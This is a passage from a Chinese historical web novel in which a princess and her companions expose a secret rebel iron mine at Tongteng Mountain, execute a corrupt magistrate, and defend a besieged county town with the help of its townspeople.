“纪夫人可还记得当初将你迷晕之人的相貌?” “陈年往事,早就记不得了。” 纪淑然轻轻摇头,“今日多谢几位姑娘相救,我还有要事,便不多叨扰了。” “是要去寻你侄子?”云慕筱问道。 纪淑然点头。 萧婧华道:“他是在何处失踪的?我派人去找。夫人身子虚弱,还是留在县里等消息吧。” 纪淑然怅然,脸上是掩饰不住的担忧,“他是为了给我抓兔子。” “那孩子心善,待我极好,我说想吃兔子,他收拾东西就出了城。他身手灵敏,人又机灵,抓几只兔子罢了,不算什么难事。怕就怕。” 纪淑然叹道:“他是误入了那铜腾山。” “铜腾山?那是什么地方?” 纪淑然道:“铜腾山在城外五六里处,那山极深,延绵数百里,我幼时便听说里边有猛兽吃人,因此极少有人敢前往。这么多年过去,也不知铜腾山现在是何模样。” 铜腾山。 萧婧华思量着这个陌生的名字。 忖度片刻,她劝纪淑然,“夫人先歇着吧,我现在差人去找许公子。” 话落,她给云慕筱使了个眼色,仰头吩咐,“予安,把影六找回来。” 树上的予安落下一声,“是。” 影六回来已是一个时辰后,他候在外间,与萧婧华汇报这些时日的进展。 萧婧华支颐,“你可知道铜腾山?” “知道。” 影六回道:“这山邪门得很,数十年前曾有猛虎下山,咬死一名路人。之后数年间不起波澜,有心存侥幸的胆大村民进山寻宝,可没一个顺利出来,后来传言铜腾山有山神守护,不允凡人入内,久而久之,百姓们便对它避之不及,平日里也极少谈及。” 怪不得来这儿这么久了,她还从未听说过铜腾山。 萧婧华摩挲着手中温润茶杯,若有所思,“你说,究竟是山神显灵可信,还是有人故意为之更可信?” 影六胸中一凛,“郡主的意思是……?” 他顿了顿,当即道:“属下这就派人前往铜腾山。” 萧婧华颔首,“纪夫人的侄子在城外失踪,她怀疑是误入了铜腾山,若是见着了,将他带回来。” “是。” “扣扣。” 门响了。 影十七焦急的声音从外而来,“郡主,属下有要事禀报。” “进。” 人影“唰”一下单膝跪在萧婧华面前,“郡主,跟踪邵嘉扬的人出事了。” 萧婧华蹭地直起身子,“怎么回事?” 影十七垂首,“他每隔三日会传信过来,可今日已是第四日,属下却始终未曾收到消息。属下怀疑……他可能遇到了不测。” 萧婧华面色有些难看,“失联前,邵嘉扬的行踪可有异常?” 影十七摇了摇头,迟疑道:“不过……属下瞧着,他好似是往庆县来了。” 萧婧华深吸一口气,掷地有声,“立即派人在庆县周边守着,倘若发现邵嘉扬的踪迹,一定给我盯紧了,不可打草惊蛇。” “是。” “去吧。” 两人退下,萧婧华半躺在榻上揉着太阳穴。 清风吹过满室寂静,静到她有些发慌。 不知怎的,她总有种不好的预感。萧婧华徐徐吐出一口气。 希望是错觉吧。 …… “大人,都准备好了。” 孟年越过十来个正在吃干粮歇息的衙役,给陆埕递了个水囊,“随时都能进山。” 陆埕伸手接过,目光沉静。 群山连绵不绝,苍翠巍峨。 阳光拂照,为它蒙上一层金纱,日照金山,璀璨又壮丽,如无意间坠入凡尘的神祇,神秘而悠远,又似蛰伏已久的猛兽,无形中吸引着猎物,等待着将他们吞吃入腹。 这些时日,他发现那些失踪的年轻男子,或多或少都与这座山有关联。 也不知这山里究竟藏了什么。 拔出塞子,仰头喝了口水,陆埕道:“走吧,进山。” 第104章 萧婧华跨进院门,四处张望一眼,“纪夫人呢?” 云慕筱道:“去祭拜纪老夫人了。” 恢复神志四五日,纪淑然始终不敢去见纪老夫人,今日总算是鼓起了勇气。 听闻她出了城,萧婧华皱起眉。 “怎么了?”云慕筱犹疑,“此事不妥?” 萧婧华摇摇头,“这几日,你们都别……” “郡主。” 觅真跃入院内,“影十七回来了。” 一道人影自她身后匆匆进院,急声道:“郡主,邵嘉扬并未入城,而是带着人去了铜腾山。” 果然。 意料之中的事,萧婧华面上一片平静,“跟着他。弄清铜腾山里究竟藏着什么秘密。必要时。” 她顿了顿,语气冰冷,“杀。” 影十七领命,“是。” “等等,邵嘉扬是谁?铜腾山里又怎么了?” 谢瑛一脸茫然走来,“婧华,这究竟是怎么回事?” 萧婧华看着她,“我怀疑,有人行谋逆之事,许安失踪,说不准也与他们有关。” “谋逆?!” 谢瑛与云慕筱皆不可置信。 “是。”萧婧华点头。 “你等等。” 谢瑛叫住影十七,疾速进屋。 她出来时手里拿了杆枪,红缨随风飘动,银枪寒凉如冰,谢瑛掷地有声道:“我和你一起去。” “阿瑛!这不是……” 萧婧华话未尽,谢瑛已将她打断。 少女眉目烈烈如火,面庞英气而坚韧,她一手持枪,笑容灿烂。 “保家卫国乃我谢家之责,婧华,你不必劝我。”谢瑛单手舞动手中长枪,“我不会有事。那座山里不管藏着什么妖魔鬼怪,我都给你捅出来。” 萧婧华目光怔然。 云慕筱缓步走到她身边,轻轻握住她冰凉的手掌,“让她去吧。” 见她怔怔望来,云慕筱扬唇,“反正拦不住,还不如让她去。” “是啊。”谢瑛一个劲点头。 萧婧华深吸一口气,“行,你去吧。我等你。” 谢瑛笑了,“一定。” 她拎着枪,与影十七一道出了院门。 目送她的背影远去,萧婧华在原地看了许久,耳畔响起云慕筱轻柔的嗓音。 “你是不是早就知道了?庆县一行,寻找纪夫人只是顺道?” 萧婧华摇头低声,“之前只是心中怀疑。” 可如今种种情况都表明,庆县的确不对劲。 若是别的还好,倘若真的有人暗中谋逆…… 萧婧华偏头,面色含着歉意,“对不起筱筱,把你和阿瑛卷了进来。” 云慕筱轻轻一笑,瞳孔中漫出碎光,“是我和阿瑛要来的,与你有什么干系?” 她握紧萧婧华的手,“别怕,有什么事,我们一起面对。” 萧婧华重重点头。 “好。” 谢瑛走了不到半个时辰,萧婧华便肉眼可见变得焦灼,她拉着云慕筱道:“你说我派人去借兵如何?” 没等云慕筱回复,她又自言自语道:“现下整个营州的官吏都不可信,若是借兵,只能去隔壁州县,这一来一回就要好几日,能来得及吗?” “你别急。” 云慕筱劝道:“如今谋逆一事只是猜测,咱们一无证据,二无调令文书,刺史断不会借兵,还是等阿瑛他们回来再说。” 萧婧华一下泄了气,抱住云慕筱的腰,闷闷道:“听你的。” 在云慕筱的劝说下,萧婧华勉强按捺住心中急躁。 可十日过去,谢瑛一行人却不见归途。 …… “赶紧的,别偷懒。说你呢,没吃饭吗?” “啪”的一声,鞭子带起一阵凌冽风声,狠狠甩在皮肉上。 瘦骨嶙峋的蜡黄色后背蓦地出现一道血痕,与旧伤叠在一处,密密麻麻的似裂开的蛛网。 那人咬牙忍住脱口而出的闷哼,埋头凿着矿石。 拖着鞭子的管事满意点头,去了别的地方巡视。 “动作迅速些,还想不想吃饭了?都给我赶紧的,耽误了要事,看我怎么收拾你们。” 每一句话落下,便有一阵鞭风响起。 “这个龟孙!” 谢瑛低低骂了一句,“真想一刀砍了他的脑袋。” “谢姑娘,别冲动。” 影六动作麻利地将矿石放入矿车中,微不可察对谢瑛摇头。 五日前,他们跟随邵嘉扬进了铜腾山腹地,打晕几个采矿人混进来后才发现,这哪是铜腾山,分明是座铁山! 有人暗中在此地开采铁矿,打造武器。 谢瑛趁着晚上守卫轮换时悄悄去看过一眼,那些武器之精良,便是和军中比起来也毫不逊色。 朝廷明令禁止私自开采铁矿,且天下太平,这些人无事造兵器做甚?这分明就是谋逆! 谢瑛恨恨磨牙,“我们什么时候行动?” 此地看管极严,每日必会对着册子清点人数,谢瑛不敢冒进,只有她、影六与另一个暗卫混了进来,影十七则是带着人在外边接应。 影六低声道:“今晚寅时。” 那时睡得最沉,守卫也最松懈。 谢瑛点头,“好。” 不把这矿炸了,她不姓谢! 与此同时的另一个矿洞里,陆埕拾起一枚矿石放入袖中,清隽面容上此刻覆着黑灰,脏兮兮的瞧不清模样,腰背佝偻,活生生一个备受折磨的采矿人,便是萧婧华在此恐怕也认不出来。 同一个装扮的孟年悄悄挪过来,借着采矿的动作,悄声道:“大人,火药已经到手了。” 陆埕点头,浅黑色瞳仁中折射出冷芒,冷静道:“吩咐下去,今晚寅时行动。” “是。” 天黑得极快,今夜乌云蔽月,不见星光,狂风大作,吹得啸声凄凉,树荫婆娑。 采矿人与管事、铁匠们纷纷陷入沉睡,唯有值夜的守卫孜孜不倦坚守着。 “砰——” 寂静深夜中,爆炸声犹如雷鸣,浩浩汤汤在望不见尽头的山脉中震响。 “发生什么事了?” 人群骚动,纷纷被惊醒。 地动山摇,矿洞轰然倒塌。 众人茫然无措,在不断颤动的土地中歪歪扭扭地倒成一团。 怔愣中,人群中有人大喊:“火药自爆了,快跑啊!” 人们被这一声震醒,拔腿便往外跑。 “别跑,回来!” 管事反应迅速,气急败坏爬起,冲那人甩去一鞭子。 人群中发出一声惨叫,随后越来越多的人四散而逃。 场面彻底失控。 影六与谢瑛会和,匆匆道:“谢姑娘,我们该走了。” 谢瑛抬头望向另一个方向。 那边没有他们的人,方才的爆炸是谁做的? 来不及思索太多,她点了下头。转身时,乌云散去稍许,皎洁月光洒落,照在不远处那浑身血迹,却略显熟悉的人身上。 谢瑛顿了顿,身体下意识做出反应,往那人疾速冲去。 “你先走,我去救个人。” “谢姑娘!” 影六压低声音喊她。 逃跑的采矿人已经冲至近前,眼看着守卫们提刀追了上来,将他和谢瑛隔开,影六咬咬牙,转身疾行,身影如魅,很快消失在山林间。 “都给我回来!” 管事提刀,一刀砍下逃跑之人的脑袋。 血溅三尺,在月下洒落在落枝残叶上。 滚烫的鲜血似乎唤醒了人群沸腾的情绪,有人止了步。 一个、两个……越来越多的人停下脚步。 管事往地上啐了一口,阴狠道:“跑啊,我让你们再跑!” 采矿人们噤若寒蝉,面带恐惧垂下头。 山中有火光亮起,有人在守卫的护卫下来到此处,高大身影在地上拉出扭曲长影。 “情形如何?” “大人。” 管事变了脸色,殷切迎上去,“小的杀了几个,还有的跑了,不过已经派人去追了,料他们也跑不了多远。” “不过爆炸的原因还有待勘察。” 男人点头。 管事往某个方向看了眼,挤出笑来,谨慎开口,“出了这么大的事,那位大人就不出来看看?” 男人嗤笑,“一个闲人,有什么可看的。” 停了几息,他忽然开口,“听说县里最近来了位贵人?”管事斟酌道:“好像是,据说是什么郡主,县令怕她找上门,主动避开了。” “郡主?” 这两个字在舌尖滚了一圈,男人忽而一笑,含着浓烈的恶劣之意。 “原来,是她啊。” 火光摇曳,他脸上刀疤似蜈蚣攀爬,阴鸷丑陋。 …… “哐哐、哐哐——” 好不容易睡着,又硬生生被敲门声吵醒,萧婧华卷着被子坐起,压着火气问:“怎么了?” 箬兰焦急的嗓音自外传来,“郡主,陆大人回来了。” 回来就回来,大惊小怪的做什么。 萧婧华闭眼磨蹭了会儿,下床披了外衣往外走。 见到正往此处来的陆埕,尚且还有些混沌的脑子一瞬清醒,震惊道:“你、你怎么成了这副模样。” 脏的跟在泥里滚过的一样。 陆埕在她两步外停住,压低的嗓音含着焦急,“收拾东西,我们连夜走。” 萧婧华蹙眉,“怎么了?” “城外铜腾山中有人私自开采铁矿打造兵器,我需立即回京上报,此地不安全,你们与我一起。” 开采铁矿、打造兵器。 这几个字在萧婧华脑中回荡,她抿抿唇,“可知主谋是谁?” 想起无意间见到的那人,陆埕心里有个隐隐的猜测,可此时时间紧迫,他来不及与萧婧华解释,摇摇头道:“我们先走,路上再说。” “我不能走。” 陆埕眉头拧起,“为何?” “阿瑛也去铜腾山了,我要留下来等她。” 忆起山中另一处爆炸,难不成是谢瑛做的? 陆埕将疑问压在心底,劝道:“谢姑娘身手好,给她留封信,她会明白的。” 萧婧华摇头。 “阿瑛是我带来的,我一定要把她完好无损地带回去。” 见陆埕还想劝,萧婧华高声道:“予安。” 一道人影悄无声息落到陆埕身后,举起手刃劈在他后颈。 他身子晃了晃,被身后的孟年接住。 孟年不解,“郡主?” 萧婧华看着他,“连夜送他回京,不得有误。” 孟年为难,“那您呢?” “放心。”萧婧华安抚他,“我不会有事,回去吧。” 孟年咬牙背起陆埕,“郡主,您一定要平安无事。” 萧婧华笑了,“去吧。” 他带着陆埕,很快消失在夜中。 身后房门被人推开,云慕筱披着外裳走到她身边,与她一同看着夜中飘扬的灯笼。 “现在怎么办?” “先等阿瑛他们回来。” 萧婧华揉着太阳穴,“天还没亮,再去睡会儿吧。” “睡不着了。”云慕筱摇头。 “那行。” 萧婧华拉着她坐在院中,“我们一起等。” 坐了不到一刻钟,影六一行人回来了。 萧婧华视线睃巡,没见到谢瑛,心里咯噔一下,“阿瑛呢?” 影六道:“临走前谢姑娘去救了个人,与我们分散了。” 萧婧华面上露出担忧,云慕筱握着她的手,“别担心,她或许只是因救人耽搁了。” 萧婧华勉强定神,“情况如何?” 影六说起铜腾山里的情况,“山中别有天地,一方采矿,另一方打造兵器,看管极严,阶级分明,采矿人不得越过同一矿洞的小管事,小管事上还有大管事,据说大管事上还有两位大人,一人全权负责采矿事宜,另一人刚到不久,应当便是邵嘉扬,不过二人疑似不和。” 萧婧华若有所思,“你们是如何出来的?” 影六道:“属下用他们的火药炸了山。” 出了这么大的事,想必他们一时半会顾及不到城里。 萧婧华松了口气,“下去歇息吧,等阿瑛回来,我们便回京。” “是。” 影六带着人退下,萧婧华和云慕筱继续等着。 夜色逐渐退去,天边亮起第一抹亮光时,谢瑛回来了。 她背了个浑身染血的人风风火火进来,大喊道:“快去叫大夫!” 动作间,她背上之人露出半张脸。 竟是许安。 萧婧华与云慕筱一同站起,一个去让人叫大夫,一个差人去喊纪淑然。 两人前后脚到达,箬兰与一脸焦急的纪淑然跟着大夫进了屋。 谢瑛松了口气,瘫坐在石凳上喘气。 萧婧华上上下下地打量着她,见她没受伤,心里的巨石这才落了地。 云慕筱坐在两人身边,眉心微拧,轻声道:“方才一瞥,忽然发觉许公子与纪夫人,眉眼间竟生得有几分相似。” “巧合吧。” 萧婧华没放在心上,“待在纪夫人身边久了,总会有那么一两分相似。” 她转向谢瑛,“你去……” “砰——” 府门被人哐当踹响,火把汇成长龙,将整座府邸团团围住。前院喧闹声四起。 “奉曾县令之命捉拿逆贼!里边的人一个也别放过!” 萧婧华霍地站起。 一脸疲惫的谢瑛忽然拍案而起,怒道:“这是要造反吗?!” 侍卫统领赵田带着人退守小院,将萧婧华几人围在中间。 刚歇下没多久的影六悄然无声入了院,带着人蛰伏在屋檐上。 予安觅真不约而同围在萧婧华两侧,谢春也紧紧守着云慕筱,右手按在腰间剑柄上。 脚步声似闷雷,身着官服的衙役举着火把进院,让出身后的人影。 那是个一身青衫的中年男人,中等身材,略微有些发福,白面一般的脸上浮现着笑意,温和看向谢瑛,“造反的,分明是几位姑娘才对。” 他一脸肃正,“几位姑娘潜入庆县,意图谋杀朝廷命官,本官今日,定要让你们伏法!” “狗屁!” 谢瑛大怒,“颠倒黑白!分明是你这狗官与贼人勾结想要造反!” 曾县令指着谢瑛,怒到指尖颤抖,“你这妖女!竟敢诬陷本官!” 谢瑛还想再说,萧婧华将她拦住,看向曾县令,“你知道我是谁?” 曾县令冷哼一声,“逆贼端王的遗腹子,还不快束手就擒!” 端王。 萧婧华许久没听到这个名号了。 难不成背后之人,是端王伯伯的支持者? 萧婧华不清楚,可她看得出,面前之人的演技着实拙劣。 她冷声下令,“杀了。” “大言不惭!” 曾县令怒,“上,拿下妖女!” 衙役们持刀,喊杀着冲进院中。 火光,杀声,血迹。 一片混乱。 谢瑛持枪杀入阵中,枪尖一挑刺穿了一名衙役的脖颈。血液顺着枪尖滑落,将红缨染得鲜艳殷红。 枪风猎猎,所过之处,血流满地。 这些衙役对她来说实在不堪一击,谢瑛看向躲在人后的曾县令,足尖一跃,枪尖在他惊恐的视线中飞跃而来,直抵咽喉。 “喂,你们的县令在我手中,还不快束手就擒?” 少女一声冷喝惊醒了数个衙役,他们不可置信地望着谢瑛,失神间,手中武器被王府侍卫打落,转瞬间便成了俘虏。 谢瑛收枪,拎着曾县令走到萧婧华面前,“婧华,这狗官该怎么处置?” 曾县令吓得面无人色,痛哭流涕求饶,“饶命,郡主饶命,我这都是被人逼的啊,他们拿我全家性命威胁我,倘若我不替他们遮掩,我的一家老小该如何是好啊。” 萧婧华冷冷掀起唇角,“原来,你知道我的身份啊。” 曾县令一顿,哭声更大了,“郡主,琅华郡主,郡主娘娘,我错了,小人将功补过,求您饶我一命。” 萧婧华俯身,“那你说,那山里的幕后主使,究竟是谁?” 曾县令涕泗横流,拼命摇头,“小人不知,每次他们见我时都是蒙着面的。” “哦?”萧婧华挑眉,“那总该有个称呼吧?”曾县令道:“这、这……旁人都只称呼他为大人,小人实在……啊!” 萧婧华抽出予安腰间长剑。 寒光闪烁,天边大亮。 清亮剑身折射出她此刻的模样。 鲜血如梅花瓣般沾在侧脸,眸中一片冰冷。 第105章 “……婧华。”谢瑛低头,愣愣看着伏在脚下的尸体,“就这么杀了?” 不再审问审问? 萧婧华将剑插回予安剑鞘中,抬手抹去脸上血珠,冷静道:“直到这种时候,他仍在支支吾吾不肯说实话,想必也不是诚心求饶,既然他一心求死,我成全他。” 她既这么说,谢瑛也不再多言。 一个狗官,杀就杀了。 云慕筱立在檐下,面色有些发白,“接下来该怎么办?” 手指刚抬起,触及上头血迹,萧婧华嫌弃地用袖子擦了擦,“当务之急,是给庆县找个县令。” 话音甫落,房门“砰”地被人推开,箬兰快步跑到萧婧华身边,拉着她上下打量,“郡主,您没受伤吧?” “郡主?” “什么郡主?她不是逆贼后裔吗?” 萧婧华安抚拍了下箬兰手背,“我无事,许安如何了?” 箬兰摸了把眼泪,低声道:“大夫已经给他上了药,养养就没事了。” “那便好。” 萧婧华松开她,面向众多惊疑不定的视线,朗声道:“端王唯有一个世子,已在多年前的大火中丧生,何来的遗腹女?你们是被那姓曾的给骗了。” “不可能!曾县令怎么会骗我们?” 有个高瘦衙役大声反驳。 萧婧华睨他,目光从人群中划过,将众人神色尽收眼底。 除了方才那个衙役,大部分人皆躲开了她的视线。 萧婧华笑了,“端王伯父是否有别的子嗣,本郡主身为皇室中人,能不清楚?” “是啊。” 谢瑛“噗嗤”一笑,抱着枪靠在墙上,“恭亲王最是宝贝他唯一的女儿,倘若让他知道你们给他闺女换了个爹,怕不是要气得杀人。” 那衙役神色惊疑,“你、你是恭亲王府的郡主?” 萧婧华瞥他一眼,对赵田道:“将他们押去县衙,先关进大牢。” 赵田恭声,“是。” “你们留下收拾东西,等把县衙安置妥当,我们即刻回京。”停了须臾,萧婧华道:“让纪夫人也收拾,我们带她一起回去。” 云慕筱点头。 谢瑛抱着枪越过曾县令的尸首,“我和你一起。” “好。” 萧婧华吩咐道:“影六,把这里处置了。” 影六飞下屋檐,“是。” 除了府门,邻里邻居纷纷开了门,瞧见萧婧华的人压着衙役时眼里流露出惊恐。 唐岚走上前来,惊疑不定,“婧华姑娘,这是……” “曾县令意图谋害琅华郡主,现已伏诛,诸位莫慌,再过不久,朝廷便会派下新的县令。” 赵田高声道。 “郡、郡主?” “曾县令竟敢谋害皇室?” 有人悄声道:“他胆子这么大?” 另一人猜测,“怕不是瞧这姑娘生得貌美起了歪心思,踢到铁板了吧?” 唐岚愣了片刻。 她对萧婧华的身份有过猜测,却怎么也想不到,她竟是皇室郡主。 咬了咬唇,唐岚神色有些扭捏,不知是否还该上前。 萧婧华闻声道:“已经无事了,夫人回吧。” “是啊。”谢瑛劝道:“糖糖还在家里等着呢。” 二人神色如常,唐岚心中稍安,露了点笑,“好。” 前往县衙的路上,那名高瘦衙役一直与萧婧华搭话,“你当真是琅华郡主?” 问了无数遍,萧婧华已经烦了,冷下脸。 高瘦衙役面色讪讪,“我以为你当真是端王后裔。” 萧婧华冷笑一声。 那名衙役赔笑,小心翼翼问:“郡主,我们都是被姓曾的蒙骗了,能从轻发落吗?” 萧婧华总算看了他一眼,“这就要看你可曾跟着他做过别的了。” 到了县衙,一队侍卫押着衙役们去了牢狱,赵田带着另一队跟着萧婧华和谢瑛。 县衙内留守的衙役不多,均被赵田带人拿下了。 萧婧华坐在大堂内,“你们的县丞呢?” 堂下被绑着十来个衙役,垂着头不说话。 萧婧华眸色一冷。 赵田一脚将最近的衙役踹倒,“郡主在问你话。” 那人垂首,战战兢兢道:“我们县里、县里,没、没有县丞。” “没有县丞?” 萧婧华拧眉,“一个县,居然没有县丞?” 谢瑛一脸匪夷所思,“该不会都被你们县令杀了吧?” “不不不。”衙役摇头,几乎快把脑袋甩成残影,闷声道:“没杀,没杀。只是让他们待在家中吃喝玩乐罢了。” 这个姓曾的,胆子可真大。 萧婧华冷声道:“去把县丞给我找来。” 赵田点头,拎起地上快要缩成一团的衙役便要转身。就在这时,有个王府侍卫匆匆忙忙跑进来。 “郡主,方才那人跑了。” “谁跑了?” 萧婧华拧眉。 侍卫喘着气急声,“路上一直问您话那个,他趁我们不注意,杀了人跑了!” 谢瑛猛地站起,英气双眉紧紧皱着,“什么味道?” 萧婧华一凛,快步出了大堂。 鼻尖弥漫着浓烈烟味,抬头一看,西北方向上空黑烟弥漫,隐有火光涌现。 “那边是什么?” “粮仓!” 赵田脸色大变,“他烧了粮仓!” “郡主!” 影六仓促而来,嗓音急乱,“城外出现大批兵卒,正朝庆县而来,目测还有半个时辰抵达。” 头顶,黑烟如同张牙舞爪的妖魔,肆无忌惮地侵蚀着碧色苍穹。 阳光之下,一股凉气从萧婧华后背窜起,直顶天灵盖。 竟然,这么快。 一双温暖手掌将她冰凉的手拢在掌中,萧婧华茫然抬首。 谢瑛紧紧握住她,秀美却英气的脸庞上满是坚定,“别怕,我去守城,你留在城中救火。” 仿佛有无穷无尽的力量从她手中传递过来,萧婧华深吸一口气,摒弃心中骤然涌现的片刻迷茫,重重点头,“好。” 谢瑛对她笑了下,握着长枪,大步离去。 温暖手掌从她手中脱落,萧婧华心中一慌,“阿瑛!” 谢瑛回头,长睫疑惑眨了眨。 心里忽然就安定了,萧婧华对她笑,“万事小心。” 谢瑛眉间笑意如火,大声笑道:“放心,我可是立志要做第二个新昌大长公主的人,怎么可能轻易就死了?” “我还要回边关去做我的女将军。” “好。” 萧婧华沉声,“那我便祝谢将军得胜归来。” “一定!” 长发在空中飘拂,少女的背影挺拔似松,高大如岳。 萧婧华吩咐道:“赵田,你将所有衙役一并带去守城,影六,随我去灭火。” “若是见到那名逃跑的衙役。”她眉宇寒凉,“就地格杀。” “是。” …… 浓烟四起,影六带着人救火,无数桶水泼入大火中,生起一阵呛鼻黑烟。 萧婧华弯着腰捂唇咳嗽,眼角沁出了泪。 她努力不去听城外震天的杀声,不去想谢瑛此时的情况,与几个姑娘一道救火。 旁边有人提桶跑过,速度太快,险些将她带倒。 一双柔荑稳住她的肩。 云慕筱立在她身后,双眸似水,柔声提醒,“小心。” 放开萧婧华,她轻声道:“阿春跟着阿瑛守城去了,我来陪你救火。” 萧婧华指尖轻颤,“好。” 云慕筱对她笑了声,与她一道抬起木桶。 在暗卫们和百姓的齐心协力下,这场大火总算是扑灭了。 萧婧华顾不上形象,席地而坐,靠在不知哪户人家的墙上喘气。 名贵蜀锦皱巴巴的,她脸上东一道西一道黑灰,娇嫩手心也脏兮兮的,黑中带红,隐隐渗血。 偏头一看,云慕筱比她好不到哪儿去。 两人对视一眼,齐齐笑出了声。 云慕筱抬头望天,喃喃道:“也不知阿瑛那儿如何了。” 暗卫们在火扑灭的第一瞬间便被萧婧华派去支援,唯有予安和觅真守在她身边。 萧婧华拉着云慕筱起身,“走吧,去看看。” 云慕筱点头。 似乎知道出了大事,除了救火的百姓,其余人纷纷留守家中,闭门不出。 晴天朗朗,街上冷清得竟无一人。 萧婧华走过长街,听着城门隐隐传来的喊杀声,咬了咬唇,丢下云慕筱,大步朝前。 “婧华!” 云慕筱面色微变,快步跟上。 萧婧华不知从何处拿来锣镲,狠狠一敲,“哐当”一声,锣声刺耳,从长街传至屋舍。 “庆县的百姓们,我乃琅华郡主萧婧华。今晨,曾县令勾结贼人,意图谋害与我,事情败落后,他们竟公然攻城。” “诸位可知,那城外的铜腾山,根本就没有什么吃人的山神,那里藏着铁矿,贼人们利用传言,在山中开矿炼铁,行谋逆之事。” “那些无辜百姓,都是遭了他们的毒手。” “贼人阴邪,枉顾人命,而今庆县危难,县尉无能,衙役无用,除了我手中之人,庆县竟无兵可用!” “此地,是尔等故土,诸位可忍心看着它沦落到逆贼手中?可敢将性命交到一群杀人如麻的逆贼手中?!” “哐当——”又是一声。 她高声道:“萧婧华在此,请诸位同心协力,共渡难关,护尔故土,护我江山!” 云慕筱走到她身边,大声道:“大长公主麾下明威将军谢同之女,请诸位共护庆县!” “……请诸位,共护庆县!” 风将两名少女铿锵有力的嗓音传至极远。 “笃、笃。” 木头拄在地上发出沉闷声响,有道人影缓缓走来。 身影逐渐显现,卖饺子的方叔拄着锄头,双目凶狠,“这里是我家,有我的妻子孙辈,我绝不允许那些逆贼踏入庆县半步,伤我亲人分毫!” “不错。” 唐岚的丈夫薛正握着刀,掷地有声道:“我的妻子女儿皆在此处,我愿随郡主杀敌。” “吱嘎——” 门开的声音。 有人握着菜刀走了出来。 一个,一个,又一个。 无数个或扛着锄头,或举着镰刀的人影涌现。 “格老子的,我庆县男儿都不是孬种,造反造到我们头上,偏让他们知道什么叫做杀羽而归!” 有人嘲笑,“鲁三,是铩羽而归,不过你说对了,咱们庆县没有孬种,我也随郡主杀敌!” “还有我!” “也算我一个!” “我老娘还没过上几年好日子,这些杀千刀的,看爷爷我不灭了他们。” “郡主,我们杀!” 吵嚷声瞬间将整条街填满,萧婧华躬身郑重行了一礼,“萧婧华,谢过诸位。” 带着人赶到时,数个侍卫正咬牙抵在城门后。 火球从城外投射而进,地面燃着火星,城墙上杀声一片,看不清情形。 予安拦住萧婧华和云慕筱,“郡主,云姑娘,属下带着人上去。” 临走前,她看了觅真一眼。 觅真会意,浑身警惕地守着两人。 城楼之上,谢瑛持枪割破一名正顺着梯子往上爬的敌军的脖颈。 鲜血溅到脸上,她无暇顾及,转身又杀了一人。 予安高声道:“谢姑娘,我带人来支援。” 谢瑛回头,瞧见予安和她身后的人,挑眉笑了,“来得正好。” 她偏头望着搭在城墙上的长梯,沉声道:“来人,倒火油,给我一把火把他们烧了!” 侍卫们有序而迅疾扛着火油本来,齐刷刷往下倒。 谢瑛沉声,“放火!” 另有一队侍卫上前,将手中持着的火把往下扔去。 火焰触及火油的刹那,瞬间燃起熊熊大火。 火光中惨叫声四起,无数个敌人如同蝼蚁,被大火舔舐后从空中摔下。 城墙之上已是一片狼藉,鲜血横流,尸堆成山,旗帜被火烧灼,破破烂烂地被风吹起。 谢瑛持枪而立,黑发飞舞,眸中倒映着金黄火光与数张惊恐面庞,眸底深处冷漠肃然。 “弓手盾手,列阵!” 她一声令下。 “杀!” …… 直到黄昏,这场战事才止住。 萧婧华和云慕筱爬上城楼时,谢瑛单腿曲着,闭眼靠在墙上歇息,双颊遍布鲜血。 听见动静,她霍地抬眼看来,眸中光芒冷冽。 见了两人,那丝警惕散去,谢瑛勉强牵唇,“来了。” 云慕筱快步走到她身边,顾不上周遭狼藉尸骸,跪坐在地,用袖子轻轻擦去她脸上血渍。 “受伤了吗?” “哪能啊。” 谢瑛自信勾唇,竖起食指,“一根手指头都没丢。”云慕筱咬唇,抓住她颤抖长指,一点点擦去上边污血。 萧婧华笑了,“谢将军威武。” 谢瑛自得道:“那是。” 余烬顺着风飘到萧婧华手边,在触碰到她的刹那散开。 她站在城楼上,眺望着铜腾山的方向。 “郡主!” 影六身影落下,焦声道:“城外发现大批人马,目测有三万人,已将整座庆县包围。” “什么?!” 谢瑛握着枪猛地站起,“这么多人?!” 那座山里,竟还藏着这么多兵卒?影六等人竟丝毫未曾查探到。 藏得可真深。 萧婧华努力保持冷静。 “城中还有多少武器战力?” 回话的是走来的赵田,“除了我们的人,就只有县城衙役。都是些酒囊饭袋,不堪大用。百姓虽多,可并未在军中历练过,大部分连猪都没宰过,让他们杀人……” 顿了顿,他接着说:“至于武器,只够武装几百人。” 萧婧华带来的人,唯有几十个王府侍卫与二十名东宫暗卫。 正常来看,这是股不小的战力,可若与三万大军相比,哪怕他们能以一当十,也不过是螳臂当车。 “还有一事。”影十七沉声道:“郡主,城中的粮食……不够。” 城楼之上陷入沉寂。 影六欲言又止,可看着周围百姓,又将话咽了下去。 半晌,觅真打破寂静,“郡主,属下单枪匹马杀出去,去青州向刺史求救。” 萧婧华摇了摇头。 夜色将近,她眺望远方,树荫之下好似藏着无数个黑影,如同蛰伏鬼魅,在窥探着此方天地。 “你一个人,不过是去送死罢了。” 她道:“先召集城中粮商,与他们商议,开仓放粮。赵田,你将百姓们聚在一处,教他们杀敌的招数。” 赵田领命,“是。” 萧婧华抬颌,“走吧。” 大敌当前,粮商们不敢拿乔,纷纷同意开放粮仓度过此关,少数不情愿的,在影六的长刀威胁下也只好同意。 忙碌到大半夜,萧婧华带着满身疲惫和云慕筱回到府中。 谢瑛回来洗漱后稍作歇息便去城楼上守着了。 影六沉默半日,终于开口,“郡主,属下可带人挖出一条地道,护送您与云姑娘、谢姑娘离开。” 萧婧华背影顿住。 她安静了许久,最终点了头,“好。”影六面上露出喜色,“属下这就去安排。” 他走后,云慕筱握住萧婧华的手。 萧婧华偏头,对她笑了笑,嗓音很轻,“我不会让你们出事。” 第二日天还未亮,敌军再次攻城。 谢瑛浴血奋战,领着五百人坚守城楼。 萧婧华与云慕筱带着人分发粮食。 第三日,五百人仅剩三百二,百姓们脱下死去战士身上的盔甲,拿着他们的武器站到城楼上。 萧婧华召集城中大夫,守在城楼下。 无数具血淋淋的尸体被抬下,大夫们穿梭在人群中,救治伤重百姓。 残骸断臂,满目鲜红。 耳畔痛苦嚎叫与啼哭声不断。 火球源源不断从天而降,烧毁客栈店铺。 萧婧华再度带人救火。 第四日,谢瑛伤了手臂,弃枪用剑。 第五日,攻势越发猛烈,谢瑛浴血奋战。 第六日,敌军并未攻城,庆县总算有了得到片刻喘息。 与此同时,地道通了,影六恳请萧婧华离开。 “郡主,您身份贵重,万不可折在此处,今晚属下便护送您与云谢二位姑娘离开。” 萧婧华沉默许久,“让我想想。” 影六还想再劝,她已挥手让人退下。 